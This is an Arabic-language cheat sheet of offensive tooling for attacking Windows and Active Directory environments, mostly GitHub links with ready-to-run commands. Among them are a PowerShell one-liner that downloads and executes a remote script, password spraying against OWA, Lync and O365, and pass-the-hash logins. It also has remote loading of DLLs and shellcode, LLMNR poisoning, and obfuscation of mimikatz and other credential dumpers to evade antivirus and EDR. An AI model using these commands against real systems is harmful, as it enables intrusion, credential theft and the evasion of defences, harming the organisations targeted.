
مجموعة منسقة من أدوات الأمن الهجومي والأوامر المخصصة لهجمات Active Directory، وC2، وتصعيد الامتيازات، والتعتيم، واختبار اختراق الويب.
https://github.com/S3cur3Th1sSh1t/WinPwn
Import-Module .\WinPwn.ps1
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Seatbelt, KeeThief, Rubeus, SharpUp ...
https://github.com/PowerShellMafia/PowerSploit
PowerView, PowerUp, Get-GPPPassword ...
https://github.com/BloodHoundAD/BloodHound
SharpHound.exe -d testdomain.com -c all,gpolocalgroup
Sharphound.ps1 -d testdomain.com -c all,gpolocalgroup
https://github.com/fox-it/BloodHound.py
bloodhound.py -c all
https://github.com/adrecon/ADRecon
لتشغيل ADRecon على مضيف منضم إلى المجال.
PS C:\> .\ADRecon.ps1
لتشغيل ADRecon على مضيف منضم إلى المجال كمستخدم مختلف.
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>
لتشغيل ADRecon على مضيف غير منضم إلى المجال باستخدام LDAP.
PS C:\>.\ADRecon.ps1 -Method LDAP -DomainController <IP or FQDN> -Credential <domain\username>
https://github.com/byt3bl33d3r/SprayingToolkit
أداة رشّ كلمات المرور لـ Lync/Skype وOWA، ومولّد قوائم الكلمات، ومحوّل مخططات التسمية، وما إلى ذلك.
رشّ كلمات المرور على OWA
./atomizer.py owa contoso.com 'Fall2018' emails.txt
رشّ كلمات المرور على Lync
./atomizer lync contoso.com --user-as-pass usernames.txt
وضع الاستطلاع
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon
https://github.com/dafthack/MailSniper
هجوم على OWA وEWS
يجب أن يكون مخطط التسمية مثل testdomain.com\schmidta أو aschmidt -> تحقق من المخطط باستخدام وحدة msf
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile owa-sprayed-creds.txt
Get-ADUsernameFromEWS -EmailList email-list.txt
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt
https://github.com/0xZDH/msspray
أداة تعداد ورشّ كلمات المرور لـ O365
لتعداد المستخدمين فقط دون رشّ كلمات المرور. يتطلب ملفًا نصيًا يحتوي على عناوين بريد إلكتروني كاملة بصيغة [email protected]
python3 msspray.py -e -u textfile.txt --wait 10 --verbose
https://github.com/dafthack/MSOLSpray
أداة رشّ كلمات المرور لـ O365
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
https://github.com/quickbreach/ExchangeRelayX
الهجوم على EWS باستخدام مصادقة NTLM عبر HTTP.
./exchangeRelayx.py -t https://mail.quickbreach.com
https://github.com/tevora-threat/SharpView
نسخة منقولة من PowerView إلى .NET
SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential [email protected]/password
https://github.com/m8r0wn/CrossLinked
جمع عناوين البريد الإلكتروني / المستخدمين
python3 crosslinked.py -f '{first}.{last}@domain.com' company_name
https://github.com/SecureAuthCorp/impacket
https://github.com/byt3bl33d3r/CrackMapExec
الوثائق الرسمية: https://mpgn.gitbook.io/crackmapexec/
https://github.com/FSecureLABS/SharpGPOAbuse
https://github.com/mrnamp/EvilWinRM
أداة للتفاعل من جهاز Linux مع تنفيذ Microsoft لـ WS-Management، والمعروف أيضًا باسم Powershell-Remoting.
يمكن استخدامها أيضًا للاتصال باستخدام تجزئة (hash) بدلاً من كلمة المرور.
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -H B3D7E7E1516FFBFCB1C54A4C349BC099
كما أنها قادرة على تنفيذ C# أو DLLs أو donut shellcode مباشرةً في الذاكرة بعد ذلك.
يجب أن تكون الملفات التنفيذية في المسار المُحدد في الوسيطة -e.
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Dll-loader -http -path http://10.11.12.13/evil.dll
Donut-Loader -process_id 1234 -donutfile /use/share/payload.bin
يمكنها أيضًا تجاوز AMSI، وجلب تذاكر Kerberos، وهكذا دواليك ...
https://github.com/rasta-mouse/SharpRDP
تنفيذ الأوامر عبر RDP. سيحصل المستخدم على إشعار إذا لم تكن multi-RDP مفعّلة!
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
https://github.com/Kevin-Robertson/Inveigh
أداة PowerShell لتزييف (spoofing) ADIDNS/LLMNR/mDNS/NBNS/DNS وهجمات الوسيط (man-in-the-middle)
Import-Module Inveigh.psm1
Invoke-Inveigh -Consoleoutput Y
https://github.com/lgandx/Responder
أداة تسميم LLMNR/NBT-NS/mDNS
./Responder.py -I eth0
https://github.com/cobbr/Covenant
https://github.com/BC-SECURITY/Empire
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
استغلالات لنظامي Linux وWindows
https://github.com/p3nt4/PowerShdll
Powershell بدون Powershell
rundll32 PowerShdll,main -w
https://github.com/NetSPI/PowerUpSQL
https://github.com/hfiref0x/UACME
https://github.com/rasta-mouse/Watson
https://github.com/itm4n/PrivescCheck
إخفاء ملفات C / C++ الثنائية
وحدة جديدة -> تذبذب الـ ShellCode:
PEzor -fluctuate=RW -debug mimikatz.exe -p '"coffee" "sleep 5000" "coffee" "exit"'
انظر https://twitter.com/phraaaaaaa/status/1453389564383404032?t=wcB-3NlNh9725L9_zRjdHg
https://github.com/S4ntiagoP/donut/tree/syscalls
نسخة Fork من مولّد Donut shellcode / PE مع استدعاءات النظام (syscalls)
https://github.com/EgeBalci/amber
إخفاء ملفات C / C++ الثنائية
https://github.com/danielbohannon/Invoke-Obfuscation
أداة إخفاء لسكربتات PowerShell.
https://github.com/the-xentropy/xencrypt / https://github.com/GetRektBoy724/BetterXencrypt
https://github.com/slaeryan/AQUARMOURY
مجموعة أدوات لتجاوز AV/EDR وما شابه ذلك
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100
أداة إخفاء وتشفير لسكربتات PowerShell.
https://www.powershellgallery.com/packages/ISESteroids/2.7.1.7
مجموعة أدوات لـ PowerShell ISE. مع إمكانيات إخفاء.
https://gallery.technet.microsoft.com/scriptcenter/PS2EXE-GUI-Convert-e7cb69d5
تحويل ملفات PS1 إلى ملفات EXE.
https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader
غلاف (wrapper) لملفات C# الثنائية يقوم بتشفير الحمولة (payload) وفك تشفيرها في الذاكرة.
تشفير ملف ثنائي:
Invoke-SharpEncrypt -file C:\CSharpFiles\SafetyKatz.exe -password S3cur3Th1sSh1t -outfile C:\CSharpEncrypted\SafetyKatz.enc
تحميل ملف ثنائي مشفّر من URL:
Invoke-SharpLoader -location https://raw.githubusercontent.com/S3cur3Th1sSh1t/Invoke-SharpLoader/master/EncryptedCSharp/SafetyKatz.enc -password S3cur3Th1sSh1t -noArgs
تحميل ملف ثنائي مشفّر من القرص مع وسائط سطر الأوامر:
Invoke-SharpLoader -location C:\EncryptedCSharp\Rubeus.enc -password S3cur3Th1sSh1t -argument kerberoast -argument2 "/format:hashcat"
https://github.com/klezVirus/inceptor
أداة إخفاء لكل من C# وPowershell
https://github.com/tokyoneon/Chimera
أداة إخفاء سكربتات PowerShell
https://github.com/xforcered/InvisibilityCloak
أداة إخفاء لتجميعات (assemblies) C#
https://github.com/yck1509/ConfuserEx
أداة إخفاء لتجميعات (assemblies) C#
https://github.com/9emin1/charlotte
محمّل Shellcode عبر D-Invoke
https://github.com/lleon1435/avcleaner
أداة إخفاء للكود المصدري C/C++
SharpSploit: https://github.com/cobbr/SharpSploit
ZeroLogon-Tester: https://github.com/BC-SECURITY/Invoke-ZeroLogon / https://github.com/SecuraBV/CVE-2020-1472
Ligolo: https://github.com/sysdream/ligolo
Metasploit: https://github.com/rapid7/metasploit-framework
Socat: https://github.com/craSH/socat
ThreatCheck: https://github.com/rasta-mouse/ThreatCheck
evilginx2: https://github.com/kgretzky/evilginx2
O365 Enum: https://github.com/gremwell/o365enum
O365 spray: https://github.com/0xZDH/o365spray